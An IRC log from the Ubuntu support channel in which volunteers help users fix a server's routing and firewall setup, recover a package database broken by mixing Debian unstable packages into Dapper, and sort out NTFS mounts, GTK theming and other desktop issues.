[11:48] <IntuitiveNipple> when the gateway is 0.0.0.0 the route uses the i/f specified
[11:48] <un_operateur> IntuitiveNipple, if i read that right then it's going to send all traffic destined to 192.168.0.x out the default route which is out on the internet i.e. 84.16.196.189
[11:48] <un_operateur> IntuitiveNipple, !worksforme might not work for everyone else :)
[11:48] <IntuitiveNipple> no, it'll send it via the i/f - in this case the LAN i/f eth1
[11:48] <Jowi> torkel__, if inbound traffic works but outbound doesn't. then the gateway of either server or the rotuer it is connected to is faulty.
[11:48] <IntuitiveNipple> torkel__: lets see those firewall rules, it feels like something in there is playing silly buggers
[11:48] <un_operateur> torkel__, do the clients on either of the networks have problem pinging across i.e. 192.168.0.x to 192.168.4.x and vice-versa?
[11:48] <mwe> #debian
[11:48] <goodthing> the new macbooks with core 2 duo cpu's, do they need to get installed with the powerpc iso too?
[11:48] <torkel__> IntuitiveNipple: http://paste.ubuntu-nl.org/1287/
[11:48] <Jowi> goodthing, intel (PC) one
[11:48] <goodthing> Jowi: so i386 right?
[11:48] <torkel__> un_operateur: the clients on the lan can reach everything. Traffic coming from the internet and in i dont know about, you can try http://84.16.196.190
[11:48] <Jowi> goodthing, should be. yes
[11:48] <un_operateur> torkel__, what's the IP address of the router in the 192.168.0.0 network .. the side connecting upto the server?
[11:48] <torkel__> un_operateur: 192.168.0.2
[11:48] <goodthing> Jowi: better be ;) because i am not buying a macbook when i cannot put ubuntu on it...
[11:48] <Jowi> goodthing, not sure if the core 2 is 64 bit and will work with the 64-bit PC version. or if it needs the x86 version.
[11:48] <mwe> it's 64 bit
[11:49] <torkel__> i love my macbook :)
[11:49] <mwe> EMT64 will work with the 64 bit version I think
[11:49] <un_operateur> torkel__, I would try backing up the route table and tweaking the 192.168.0.0 route like this -- sudo sh -c "route -n > route.bak; route del -net 192.168.0.0 gw 0.0.0.0 netmask 255.255.255.252; route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.2"
[11:50] <Oni-Dracula> since everyone in #xchat is a child, I'd like to see if anyone knows if there is a version of the xchat-text package that is up to date with xchat?
[11:51] <mwe> !info xchat-text
[11:51] <ubotu> Package xchat-text does not exist in any distro I know
[11:51] <andyshack> evening folks. can someone point me in the right direction for an app to monitor services / network traffic for my ubuntu box ? id like to watch what its up to and see what services are talking to the wan and how much data they are using.
[11:51] <mwe> it doesn
[11:51] <mwe> it doesn't exist
[11:52] <un_operateur> andyshack, !firestarter
[11:52] <andyshack> un_operateur : cool ill have a look at it cheers. youve used it ?
[11:53] <un_operateur> andyshack, errm, not much no .. it's actually a GUI frontend to IPTables but it can monitor traffic almost in real-time
[11:53] <Oni-Dracula> it existed in hoary
[11:53] <Oni-Dracula> and debian still has a version for xchat 2.4
[11:53] <andyshack> yeah that sounds good enough for now.
[11:53] <Oni-Dracula> but we're up to 2.6 in edgy
[11:54] <un_operateur> Oni-Dracula, ubuntu != debian .. debian is hesitant to release the latest, best and greatest because their foremost aim is stability
[11:55] <Oni-Dracula> meh
[11:55] <Oni-Dracula> i thought maybe there was development made for xchat-text to bring it up to date
[11:56] <gdb> Ah, to be fair, the debian that most people use will, generally, be more "up to date" than Ubunty.
[11:56] <gdb> er Ubuntu
[11:56] <Oni-Dracula> for now, irssi will be my console client
[11:56] <Oni-Dracula> :-/
[11:56] <gdb> (at least after a couple of months!)
[11:56] <DiKKy> irssi is d best
[11:57] <Oni-Dracula> i always like to have a text irc client just in case I break something
[11:57] <un_operateur> torkel_, any improvement?
[11:57] <gdb> ubuntu is a freeze of debian unstable, that's, well, stablized and then has ubuntu value-add applied.
[11:57] <torkel_> yn
[11:57] <gdb> most people use debian testing or unstable, and unstable trickles into testing.  *most* installs of debian are not debian stable.
[11:57] <torkel_> un_operateur: no, i've changed the routing... let me paste the new route -n
[11:58] <un_operateur> torkel_, ok
[11:59] <DiKKy> gdb why are u beeing such anti-ubuntu zealot
[11:59] <torkel_> un_operateur: http://paste.ubuntu-nl.org/1289/
[11:59] <gdb> andyshack: mrtg is what you want
[11:59] <Oni-Dracula> uhh
[11:59] <gdb> DiKKy: I beg your pardon?
[11:59] <Oni-Dracula> is it possible that EasyTAG corrupted a few of my mp3's?
[11:59] <DiKKy> you heard me
[11:59] <torkel_> un_operateur: same issue as last time
[12:00] <gdb> andyshack: Actually, perhaps it's not.. hrm.
[12:00] <snail> Oni-Dracula: anything is possible, more likely that the were already non-standard, damaged or corrupted and EasyTAG made them worse
[12:00] <bakert> hello everyone.  i'd be really, really grateful if you could help me with this one.  i tried to install some .debs from debian-unstable and now i can't get apt-get back into a working state.
[12:00] <torkel_> un_operateur: back in a minute, going to move my macbook to the serverroom :)
[12:00] <andyshack> wow. ive got 15 ip's a second hitting my box. i knew there was something up.
[12:00] <Oni-Dracula> snail, ugh... i really need to start buying music
[12:00] <IntuitiveNipple> torkel_: Try adding an if lo rule for OUTPUT
[12:00] <gdb> ntop might work, though, for that
[12:01] <stefg> Can anyone help with this? I login from my desktop-PC to my laptop via ssh -X and start a remote gtk-app. Although i'm using the excat same themes on host and client, the remote app falls back to the standard GTK theme (the stupid grey one). Doesn't theming work  for remote Displays?
[12:01] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[12:01] <frogzoo> andyshack: that's pretty standard for a net connected box
[12:01] <snail> bakert: installed by hand or by apt-get?
[12:01] <bakert> I tried to "dpkg -i " on ghc6.6 (a compiler for haskell) and it required libc6 so I got the .deb for that and did the same.  which required tzdata so i did the same for that.
[12:01] <Oni-Dracula> a lot of my music now sounds like it has bad gas
[12:01] <CITguy> can someone tell me why I don't have permission to view a mounted file system?
[12:01] <vect0rx> so if it took me a whole day get my relatiely older laptop to pout out xort on a 1366x768 lcdtv, who might want to keep track of my cfg for a similar latoptop video chipset that was a beeeeyotch to get right (me being a unix software eng)
[12:01] <bakert> i removed everything.  now when i do "apt-get -f install" i get "unmet dependencies" because tzdata is not installable.
[12:01] <frogzoo> CITguy: what type of file system?
[12:01] <gdb> bakert: You've basically hosed your machine.  I'd really suggest reinstalling it unless you want to do a mass of forced package installs by hand.
[12:02] <vect0rx> citguy, depemds on fs... mount /dev/device /mnt/place -o umask=000 might loosen it up
[12:02] <un_operateur> torkel_, yea but the route's aren't correct -- notice that the gateway for 192.168.0.0 is 192.168.0.1 not .2 .. moreover the route addresses a subnet of 192.168.0.0 i.e. 192.168.0.0/29 as opposed to 192.168.0.0/24
[12:02] <gdb> Screwing with libc is a really bad idea.
[12:02] <Jowi> stefg, you will get the same theme for gtk as your user have on the remote computer. the computer you connect from need to have it installed in order to display it though.
[12:02] <CITguy> I've configured my /etc/fstab file to mount a couple of ntfs partitions
[12:02] <snail> bakert: that or upgrade to unstable
[12:02] <gdb> And reinstalling takes about 15 minutes ;-)
[12:02] <CITguy> but when I mount them, it says I don't have permission
[12:02] <frogzoo> CITguy: ntfs is read only
[12:02] <bakert> if i try to install ghc6.4 i get a problem because it thinks i want the 6.6 referred to in the other packages (perhaps?)
[12:02] <frogzoo> !ntfs-3g | CITguy
[12:02] <ubotu> CITguy: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[12:03] <torkel_> IntuitiveNipple: if OUTPUT rule for what?
[12:03] <snail> CITguy: you need to add an option there you make them user-readable
[12:03] <CITguy> oh, ok. thanks
[12:03] <bakert> snail, when you say "upgrade to unstable" what do you mean?  i thought ubuntu was based on debian-unstable?
[12:03] <Jowi> stefg, example. Tod on PC1 ssh -X to Tod on PC2. Tod on PC2 have xshinytheme for gtk. PC1 need to have xshinytheme installed in order to display it.
[12:04] <CITguy> wait, if ntfs is read only. why can't i read it?
[12:04] <torkel_> un_operateur: the reason i cant ping the internal ip addresses of the lan from the server is because they are infact masqueraded by the router (192.168.0.2)
[12:04] <frogzoo> CITguy: what's your fstab line?
[12:04] <IntuitiveNipple> torkel_: It ought not to make a difference as your default OUTPUT policy is ACCEPT, but you never know. The packets you're "losing" are coming from localhost as far as netfilters is concerned
[12:04] <CITguy> I think it has something to do with permissions
[12:04] <un_operateur> torkel__, what is the mask of 192.168.0.2 (on router) ?? is it 255.255.255.0 or 255.255.255.252 ??
[12:04] <jrib> CITguy: use the proper umask when you mount
[12:04] <torkel_> let me check.. 0 i guess :)
[12:04] <stefg> Jowi: hmm... i use the same theme for the user on the lappie and the Desktop. So intheory it should work. But let me examine this further, now that I know how it /should/ work
[12:04] <jrib> !ntfs | CITguy
[12:04] <gdb> bakert: It's built on a freeze of Debian unstable, it is not, however, Debian unstable.  When Ubuntu is frozen, you can consider it more or less a "Debian stable".  Debian unstable continues to evolve daily and trying to mix the two is not really workable.
[12:04] <ubotu> CITguy: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse
[12:05] <un_operateur> torkel_, i dont think thats the issue because it is only traffic that traverses the server that is masqueraded not traffic originating from itself
[12:05] <snail> bakert: your problem is that you have one foot in each of two camps. your nightmare will only end when you have both feet in a single camp. moving completel to debian unstable is a possible (though not easy) way to do this
[12:05] <IntuitiveNipple> torkel_: but you might try: iptables -A OUTPUT -i lo -j ACCEPT
[12:06] <torkel__> un_operateur: now its 255.255.255.252 on the router as well
[12:06] <un_operateur> torkel_, so what is this address 192.168.0.1/255.255.255.252 ? is it an interface on the router too?
[12:06] <stefg> Jowi: D you think that just sync'ing the ~/.icons and ~/.themes (where the user defined themes are) will fix it?
[12:07] <torkel__> un_operateur: 192.168.0.1 is the NIC on the server, connected on the inside
[12:07] <IntuitiveNipple> thats the route on the router to the server
[12:07] <bakert> snail, hmm.  i see.  and a dist-upgrade to edgy (from dapper) or something a bit less painful than reinstalling won't do me any good because my versions are too recent?
[12:07] <Jowi> stefg, it might.
[12:07] <bakert> (the one i've added(
[12:07] <stefg> Jowi: i'll try and let everyone know :-)
[12:07] <torkel__> un_operateur: internet <> server <192.168.0.0/255.255.255.252> router <192.168.4.0/24> lan
[12:07] <IntuitiveNipple> torkel_: Did you try that i/f lo iptables rule?
[12:07] <un_operateur> torkel_, well, so according to your routing table ..  all traffic to 192.168.0.0 is sent back up it's own interface ,.. almost in an endless loop
[12:08] <gdb> bakert: You can give it a shot!
[12:08] <Jowi> stefg, I always have different themes on the computer so I don't confuse which machine I'm on :)
[12:08] <gdb> bakert: disable all references to debian unstable in your sources.list, replace all references to dapper with edgy, do an apt-get update and then apt-get dist-upgrade and pray.
[12:08] <gdb> bakert: make sure you have ubuntu-desktop installed before doing that
[12:09] <stefg> Jowi: it's always in the window-title
[12:09] <torkel__> un_operateur: is it? only the router and the server sit on 192.168.0.0/29 (255.255.255.252)?
[12:09] <gdb> apt-get install ubuntu-desktop of dpkg -l ubuntu-desktop indicates an install status of "un"
[12:09] <apokryphos> ack
[12:09] <jrib> lol
[12:09] <gdb> er if dpkg -l
[12:09] <apokryphos> one sec though
[12:09] <un_operateur> torkel_, examine route -n again .. second route's gateway is it's own interface .. :)
[12:10] <snail> bakert: you've installed debian core packages, you need to upgrade to debian, or downgrade back to ubuntu
[12:10] <bakert> gdb, i don't have ubuntu-desktop (according to dpkg -l) but that may just be because of my libc6 problem.
[12:10] <Jowi> stefg, not in the graphical apps you launch from ssh (at least not for me)
[12:10] <frogzoo> bakert: it's a metapackage - you don't need it
[12:10] <bakert> snail, how do i downgrade back to ubuntu though?  (thanks for your help by the way folks)
[12:10] <gdb> bakert: is this ubuntu, kubuntu, or xubuntu?
[12:11] <torkel__> un_operateur: true, but i get pingreply from 192.168.0.2 from the server.. very responsive. Anyways how do I fix it? is there any need for adding a route to that net or will ifconfig eth1 192.168.0.1 netmask 255.255.255.252 do?
[12:11] <bakert> gdb, ubuntu dapper
[12:11] <gdb> bakert: Ah, ok, and installing ubuntu-desktop isn't going to work because the dpkg state on the system is broken.. hrm
[12:11] <stefg> Jowi: Got it. although it's the same theme, it's in /usr/share/themes on the Desktop, put in ~ on the lappie... The ususal 'human error'
[12:11] <bakert> yep
[12:11] <gdb> bakert: Which packages, exactly, where installed new?
[12:11] <gdb> er were
[12:12] <un_operateur> torkel_, the next hop for that route should be 192.168.0.2 as with the 192.168.4.0 route
[12:12] <gdb> bakert: you could consider downloading those specific packages from an ubuntu repo (by hand) and force downgrading to them with dpkg.
[12:12] <bakert> gdb, i tried to install ghc6.6 which failed because it needed libc6.6, then i tried to install libc6 which failed because it needed tzdata, then i tried to install that
[12:12] <snail> bakert: (1) backup your data (2) uninstall as many as possible of the debian packages as will uninstall nicely (3) uninstall the other debian packages and install the ubuntu ones, using --force options and other nastiness
[12:12] <snail> bakert: your best option is a reinstall
[12:13] <torkel__> un_operateur: you lost me :D
[12:13] <gdb> Well, trying to fix it may take hours
[12:13] <gdb> reinstalling will take a few minutes ;-)
[12:13] <gdb> But --- if you try to fix it
[12:13] <gdb> You can learn a lot!
[12:13] <keithg> Is there a way to turn voices on and off in Ubuntu?  For some extremely strange reason I can't hear singing in ANY of my music.
[12:13] <snail> bakert: there are some forceing and fixing options to apt-get you will need to learn
[12:13] <mneptok> apokryphos: no Feisty mention? :?
[12:14] <un_operateur> torkel__, delete old route and   route add -net 192.168.0.0 netmask 255.255.255.252 gw 192.168.0.2
[12:14] <bakert> If I reinstall I need to back up 60GB of data and recreate the link to my encrypted home partition and other nightmares.  i'd really rather try and "undo" what i've done if at all possible.
[12:14] <apokryphos> mneptok: see -ops
[12:14] <gnomefreak> mneptok: you still around?
[12:14] <gnomefreak> oh ok apokryphos you got it?
[12:14] <torkel__> un_operateur: that seems justs as wrong? "i can reach 192.168.0.0 through 192.168.0.2?
[12:14] <IntuitiveNipple> un_operateur: the *gateway* for the route 192.168.0.0/30 should be 0.0.0.0 (eth1) since the server itself exists in the 192.168.0.0/30 subnet
[12:15] <IntuitiveNipple> otherwise you are telling the server to route packets for itself to the LAN router, directly from localhost
[12:15] <un_operateur> torkel_, another thing -- if only 192.168.0.1 and .2 exist in that subnet, how do you verify cross subnet talk .. ??
[12:15] <snail> bakert: there's also: "apt-get install --reinstall --ignore-missing <list of all installed packages>"
[12:15] <bakert> snail, gdb, I tried dpkg -i on three packages.  the first two failed (ghc6 and libc6) because of dependencies.  And then tzdata failed too in the middle because it tried to overwrite some file that also belonged to "locales".  So nothing actually installed???
[12:15] <torkel__> un_operateur: cause im on the server 192.168.0.1 from 192.168.4.108
[12:15] <torkel__> using ssh
[12:15] <dromer> what is a good ploce to download N64 roms?
[12:15] <bakert> snail, gdb, So I've kind of messed up the metadata but not the actual system???
[12:16] <snail> bakert: probably
[12:16] <torkel__> un_operateur: but it takes some time to establish the connection, 10-20 seconds.
[12:16] <snail> bakert: what was the exact command line that failed?
[12:16] <gdb> bakert: your 60GB of data, is it on a separate partition?
[12:16] <IntuitiveNipple> The only time you add a gateway IP to a route is when the subnet is not directly connected to the server itself
[12:16] <torkel__> un_operateur: but when connected it's all okay
[12:16] <snail> bakert: please tel me that the 60GB is backed up?
[12:17] <torkel__> un_operateur: be back in 5 minutes, have to try something :)
[12:17] <IntuitiveNipple> Non of this is affecting the server<>WAN lack of connectivity though
[12:17] <un_operateur> torkel_, ok, what kind of a router is this?
[12:17] <bakert> snail, gdb it actually says "is to be installed" about some of the libc6 stuff.  is there not a command to say, "forget i told you to do that please"?
[12:17] <graniti>  Hi. I use a program which listens to different keyboard shortcuts. I have to make that this program doesn't listen to "Ctrl-Alt-Esc". is it possibile?
[12:17] <torkel__> IntuitiveNipple: yeah :/
[12:17] <un_operateur> torkel_, does it do NAT? is NAT enabled on it?
[12:17] <gdb> bakert: dpkg -e libc6.6 ?
[12:18] <gdb> hrm, I dunno
[12:18] <torkel__> back in 5 :)
[12:18] <noobcook> i cant seem to get Wine to run my games
[12:18] <noobcook> can anyone help?
[12:18] <un_operateur> andyshack, it doesnt seem to be working mate
[12:19] <frogzoo> !appdb | noobcook
[12:19] <ubotu> noobcook: Appdb is a database of apps & help for programs that run under wine: see http://appdb.winehq.org
[12:19] <un_operateur> andyshack, it times out
[12:19] <capiira> hmmm hi is that normal that grub displays me something about C: ? i dont even have windows installed!
[12:19] <frogzoo> capiira: grub knows nothing about C:
[12:19] <capiira> strange
[12:20] <capiira> i get a msg that disappears very fast with something about c:
[12:20] <vlt> Hello. Can I tell `diff` to ignore two files when their mtime is the same (in directory mode)?
[12:20] <dromer> does anybody know where to find N64 roms?
[12:21] <capiira> before showing something with stage 1.5
[12:21] <jrib> vlt: you'd probably have to script that
[12:21] <dromer> I want to try Mupen64
[12:21] <barata> anybody experiencing problem with grub? especially back in Win 98 & 2000 time??
[12:22] <Vluid> dromer: google
[12:22] <barata> that usual grub just doesnt boot the shit and it says the partition is 'screwed'
[12:22] <dromer> Vluid: goolge is a bitch :(
[12:22] <bakert> snail, gdb, where can i find the ubuntu .deb files?  if i force install the correct libc6 things might get better?
[12:23] <barata> hallo, how can I install ntfs in ubuntu? --> apt-get install "ntfs"??
[12:23] <capiira> let me reboot and see what is does exactly show
[12:23] <dm> ntfs is not something you install
[12:23] <un_operateur> !ntfs-3g | barata
[12:23] <ubotu> barata: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[12:23] <snail> bakert: by the sounds of it, yuo still have the correct libc6
[12:23] <gdb> us.archive.ubuntu.com -- as per the contents of /etc/apt/sources.list
[12:23] <Vluid> dromer: what about http://www.rom-world.com/
[12:23] <dm> ntfs-3g is :)
[12:23] <gdb> snail: I think the system wouldn't work at all if the wrong libc was installed.
[12:23] <torkel_> now its fixed :)
[12:23] <gdb> snail: as in actually on disk, installed
[12:23] <Vluid> dromer: ive got many gameboy roms from there
[12:24] <torkel_> i removed the entire 192.168.4.x network from the router, its behind a natted router anyways
[12:24] <barata> heih .. NICE !! ..... now we can write to NTFS??? Is it safe?
[12:24] <snail> bakert: the dpkg command you used that fail midway, you need to run the uninstall version of that
[12:24] <snail> gdb: i agree
[12:24] <torkel_> the clients from 192.168.4.x can connect to the internet, and the server can to!
[12:24] <bakert> snail, gdb, yes i think you are right.  i just want it to forget that it's planning to install some other thing with the same name!
[12:24] <dromer> Vluid: sorry, looking for N64
[12:24] <bakert> i ran dpkg -r tzdata
[12:24] <gdb> bakert: I'd try doing the regular apt-get remove command
[12:24] <torkel_> many thanks for the help, you guys have been great! un_operateur and IntuitiveNipple , i'll by you a beer if you visit norway some day :)
[12:24] <gdb> actually
[12:25] <torkel_> bbrb
[12:25] <snail> barata: it's beta, isn't not safe
[12:25] <bakert> "tzdata is not installed, so not removed"
[12:25] <un_operateur> torkel_, if 'router' is using NAT server will not be able to talk to 192.168.4.x if it initiates communication
[12:25] <Vluid> dromer: it has also a n64 section
[12:25] <gdb> bakert: apt-get --simulate --purge remove <packages that you tried to install>
[12:25] <gdb> see if that fives you something screwy
[12:25] <gdb> gives*
[12:26] <barata> yeah ... never safe with it!
[12:26] <dromer> Vluid: oh that site, missed it
[12:26] <bakert> gdb: "Package tzdata is not installed, so not removed
[12:26] <bakert> "
[12:26] <gdb> ok then delete that from the command line and try again
[12:26] <un_operateur> torkel_, also you should repair the route i gave you -- the route's still pointing at 192.168.0.1 .. change it back to 0.0.0.0
[12:26] <dromer> Vluid: yeah well all those sites seem big scamms, you get 101 popups and no downloads <_<
[12:26] <bakert> snail, gdb, it does say " Unmet dependencies. Try apt-get -f install with no packages (or specify a solution)."
[12:26] <bakert> but apt-get -f install says "unable to correct dependencies"
[12:27] <bakert> gdb, sorry i don't quite follow - delete what from the commandline?
[12:27] <snail> does it say what dependencies?
[12:27] <gdb> tzdata
[12:27] <bakert> The following packages have unmet dependencies.
[12:27] <bakert>   libc6: Depends: tzdata but it is not installable
[12:27] <bakert>   libc6-dev: Depends: libc6 (= 2.3.6-0ubuntu20) but 2.3.6.ds1-10 is to be installed
[12:27] <bakert>   libc6-i686: PreDepends: libc6 (= 2.3.6-0ubuntu20) but 2.3.6.ds1-10 is to be installed
[12:27] <un_operateur> !paste > bakert
[12:27] <bakert> gdb, when you say delete tzdata what do you mean?
[12:27] <snail> apt-get remove tzdata
[12:27] <gdb> remove it from the command line
[12:27] <bakert> Package tzdata is not installed, so not removed
[12:28] <gdb> apt-get -s --purge remove <everything else but tzdata>
[12:28] <capiira> hmmm i get Attempting to boot from  C:, Attempting to boot from USB etc.
[12:28] <capiira> maybe its a bios message
[12:28] <bakert> gdb, by "everything else" you mean ghc6.6 and libc6 that i tried to install?
[12:28] <un_operateur> bakert, sounds like you need to install tzdata
[12:28] <gdb> yes
[12:28] <snail> un_operateur: no, tzdata is a debian pacakge...
[12:28] <gdb> un_operateur: no, he doesn't
[12:29] <bakert> yes tzdata is a deb which i tried to install and failed because it conflicted with "locales"
[12:29] <mcphail> doesn't he need to reinstall the ubuntu libc6???
[12:29] <frogzoo> capiira: mention of C: is likely coming from a doze boot loader
[12:29] <gdb> mcphail: that's what's installed
[12:29] <wedgeV> is anyone here using dvd-ram in linux and can help me set it up in edgy?
[12:29] <capiira> hmmmm
[12:29] <bakert> mcphail, i think i still have the ubuntu libc6 (almost sure) i just need to convince ubuntu to stop thinking about the debian unstable version and it's unmet dependencies.
[12:29] <gdb> mcphail: dpkg hasn't actually installed anything broken, it's state is screwed up because the system has been told to install things that don't make sense
[12:29] <Vluid> dromer: hmmm
[12:30] <gdb> er its*
[12:30] <un_operateur> snail, gdb tzdata happens to be an ubuntu package too http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=tzdata&searchon=names&subword=1&version=edgy&release=all
[12:30] <gdb> un_operateur: yeah, and the libc6 that dpkg is set to install doesn't depend on that one
[12:30] <capiira> you know a way to fix that?
[12:30] <gdb> and tzdata isn't in dapper anyway
[12:30] <bakert> un_operateur, interesting.  i am on dapper.  but perhaps an upgrade to edgy would fix
[12:30] <bakert> ?
[12:30] <gdb> cbell@circe:~$ apt-cache search tzdata
[12:30] <gdb> cbell@circe:~$
[12:31] <dromer> Vluid: or pay-sites .. I just found out
[12:31] <Vluid> dromer: http://www.theroms.com/ http://www.romnation.net/
[12:31] <un_operateur> gdb, you helping him get down from debian to pure ubuntu?
[12:31] <un_operateur> gdb, you on edgy?
[12:31] <bakert> that's the plan
[12:31] <gdb> bakert: The system isn't going to do anything until the dependancy situation is resolved anyway.
[12:31] <Vluid> dromer: http://www.romguy.com/
[12:31] <bakert> ah.  ok
[12:31] <gdb> un_operateur: no and no
[12:32] <bakert> so i just want to say: "please forget about the stuff you are queueing up to install".  how do i say that?  is there a way?
[12:32] <un_operateur> gdb, explains why you dont have tzdata then
[12:32] <gdb> bakert: if you point at edgy repos, it might "figure it out" but I think it best to get your *dapper* system working correctly before trying to move it to edgy
[12:32] <gdb> un_operateur: yeah, and why *he* isn't supposed to
[12:33] <mcphail> bakert: i'd try "sudo aptitude install libc6=whatevertheubuntupackageis"
[12:33] <JKoder> Hello , i have Via S3 Unichrome (PM800/PN800) videocard and i am using via driver in xorg
[12:33] <noobcook> does anyone know if its possible to runregedit under linux from a windows partition and make changes that write?
[12:33] <JKoder> my 3D is working fine but how can i activate S-Video ?
[12:34] <JKoder> should i use TwinView option ( this is not just for nVidia based cards ? )
[12:34] <gdb> which would be libc6 2.3.6-0ubuntu2
[12:34] <un_operateur> gdb, well, without it libc6 is going to cry .. and without libc6, the entire system will  .. maybe reinstall libc6 from dapper (if thats what he's trying to get to)  ?
[12:34] <dromer> Vluid: n/w, I give up
[12:34] <ketil> why has ubuntu changed from /etc/inittab to /etc/event.d?
[12:34] <Trini_Man> i have ubuntu on my PC alone i want to install XP also how do i get back Grub ?
[12:34] <gdb> un_operateur: his correct libc6 doesn't care about tzdata
[12:34] <apokryphos> Trini_Man: take a look at the FAQ (https://help.ubuntu.com/community/CommonQuestions) as linked to in the channel /topic
[12:34] <capiira> hmmm my system needs 45 sec to reboot after the loadbar+logo becomes empty and i dont know why :/ is that normal ?
[12:35] <ketil> and how do I add a service to /etc/event.d and start it without rebooting? Like "kill -HUP 1" would do before.
[12:35] <bakert> mcphail, gdb Unable to find a version "libc6 2.3.6-0ubuntu2" for the package "libc6"
[12:35] <gdb> it depends on locales, not tzdata
[12:35] <un_operateur> gdb, errm, the libc6 he is trying to remove now does depend on it .. he just showed us that
[12:35] <gdb> ...
[12:35] <gdb> no, that's not what he's shown -- he's shown that the libc6 the system is set to install depends on it, the acutal *installed* libc6 doesn't
[12:36] <gdb> he tried to install debian unstable's libc into a dapper system
[12:36] <JKoder> so does anyone has any ideea ?
[12:36] <gnomefreak> thats why
[12:36] <gdb> we're trying to correc the effects of that mistake
[12:36] <gdb> correct*
[12:36] <bakert> the debian libc6 that i foolishly tried to install depends on tzdata.  but i don't actually want to install it.  so i just want to say "don't do that, go back to equilibrium".  but i don't know if that is possible.
[12:36] <mcphail> !info libc6 dapper
[12:36] <ubotu> libc6: GNU C Library: Shared libraries and Timezone data. In component main, is required. Version 2.3.6-0ubuntu20 (dapper), package size 4480 kB, installed size 9932 kB
[12:36] <gdb> ok ubuntu20, dpkg truncated the line
[12:36] <gnomefreak> gdb: download the libc6 version for the release at packages.ubuntu.com and try to dpkg -i it
[12:36] <gnomefreak> see if it works
[12:37] <bakert> gnomefreak, good idea!
[12:37] <gnomefreak> or whoever has the issue
[12:37] <gdb> bakert: what gnomefreak said!
[12:37] <mcphail> bakert: just use the command above but with the correct dapper version as per ubotu
[12:37] <gnomefreak> it might not work but its worth a shot.
[12:37] <bakert> mcphail, Unable to find a version "libc6 2.3.6-0ubuntu20" for the package "libc6"
[12:37] <gnomefreak> mcphail: cant use apt
[12:38] <mcphail> gnomefreak: why not?
[12:38] <ketil> so nobody else has a clue why ubuntu has dropped /etc/inittab in favour of /etc/event.d?
[12:38] <gnomefreak> hint cant use apt with wrong libc6 version
[12:38] <gnomefreak> mcphail: libc6 is a main lib apt needs it
[12:38] <jrib> bakert: are teh dapper repos in your sources?
[12:38] <mcphail> gnomefreak: it will still be using the original libc6
[12:38] <gdb> gnomefreak: well, the installed libc6 is correct, so the command should run
[12:38] <bakert> Jram, yes
[12:39] <bakert> jrib, yes
[12:39] <gnomefreak> mcphail: it will use the version he has installed if he has debains installed it wont work
[12:39] <bakert> jrib, i just tried to install this stuff with dpkg
[12:39] <gdb> gnomefreak: dpkg is set to install the debian one, but can't due to dependancy issues.  so the package database is inconsistent
[12:39] <gnomefreak> gdb: can you dpkg -r package
[12:40] <gdb> I dunno, that's a question for bakert
[12:40] <mcphail> bakert: have you apt-get updated prior to running the above command?
[12:40] <un_operateur> gnomefreak, that on libc6 .. ouch
[12:40] <gnomefreak> bakert: has the debians version of libc6 been installed if not try sudo dpkg -r debiansversionlibc6
[12:40] <jrib> bakert: you did  sudo aptitude install libc6=2.3.6-0ubuntu20    ?
[12:41] <gdb> un_operateur: the idea is that no actual software is being uninstalled, this isn't doom and gloom, it's a broken package database, not a broken install
[12:41] <bakert> Yes, I am 90% sure that there's nothing actually installed on my system that is bad.  It is just queueing up so to do.
[12:41] <bakert> I have tried installing the ubuntu .deb for libc6 with dpkg
[12:41] <un_operateur> gdb, but removing (or force-removing ) libc6 is likely to worsen the problem as a lot of the debian packages installed now are likely to depend on the debian libc6
[12:41] <gnomefreak> bakert: try using dpkg -r for the debian package tell me what it says
[12:42] <gdb> un_operateur: no, only 3, one of which he got rid of just fine
[12:42] <bakert> gnomefreak, that's just called "libc6" so it tells me loads of things depend on it.
[12:42] <gnomefreak> un_operateur: nope
[12:42] <bakert> gnomefreak, unless there is some way to refer specifically to the debian one???
[12:42] <gnomefreak> bakert: sudo apt-get -f install  and pastebin the output
[12:43] <gnomefreak> mcphail: cant
[12:43] <crot> bakert: try apt-get install -f libc6/yourDistroName
[12:43] <gnomefreak> no\
[12:43] <bakert> http://paste.ubuntu-nl.org/1290/
[12:43] <gnomefreak> bakert: dont use package name
[12:43] <gdb> dsl?
[12:43] <gdb> damn small linux?
[12:44] <bakert> gdb, ds ONE -- i got the deb from here: http://packages.debian.org/unstable/libs/libc6
[12:44] <bakert> don't ask me what it means!
[12:44] <gdb> oh duh
[12:44] <mcphail> debian security?
[12:44] <gnomefreak> bakert: what does sudo apt-get dist-upgrade do?
[12:45] <bakert> gnomefreak, similar message
[12:45] <bakert> gnomefreak, http://paste.ubuntu-nl.org/1291/
[12:45] <crot> Try doing what I said, bakert
[12:45] <gnomefreak> bakert: did you try dpkg -r linc6-2.3.6.ds1-10
[12:45] <bakert> crot, with "dapper" for "yourDistroName"?
[12:46] <crot> yep
[12:46] <gnomefreak> crot: it wont work with the package name not enough parameters
[12:46] <bakert> gnomefreak, dpkg - warning: ignoring request to remove libc6-2.3.6.ds1-10 which isn't installed.
[12:46] <dromer> how can I open a new ftp-account?
[12:46] <capiira> so is that normal that ubuntu need 45secs more after the loadbar becomes empty to reboot the system?
[12:47] <bakert> crot, crot, crot, crot, you may just be a genius -- downloading!!!!!
[12:47] <gnomefreak> bakert: what version of llibc6-dev is installed?
[12:47] <bakert> downgrading!
[12:47] <bakert> hope springs eternal!
[12:47] <bakert> CROT!  YOU ARE LITERALLY MY HERO!!!!!!!!!!
[12:47] <bakert> gnomefreak, gdb, mcphail, snail you are all very very very nice people and thanks so much
[12:47] <bakert> but crot, i like you best!!!!!
[12:48] <mneptok> bakert: you should see him in Spandex(r) and a cape
[12:48] <gnomefreak> lol
[12:48] <bakert> kisses all round!
[12:48] <mneptok> wood springs eternal!
[12:48] <gdb> By the way, I highly recommend the book The Debian System: Concepts and Techniques to just about anyone running a Debian-based system.
[12:48] <mneptok> *ahem*
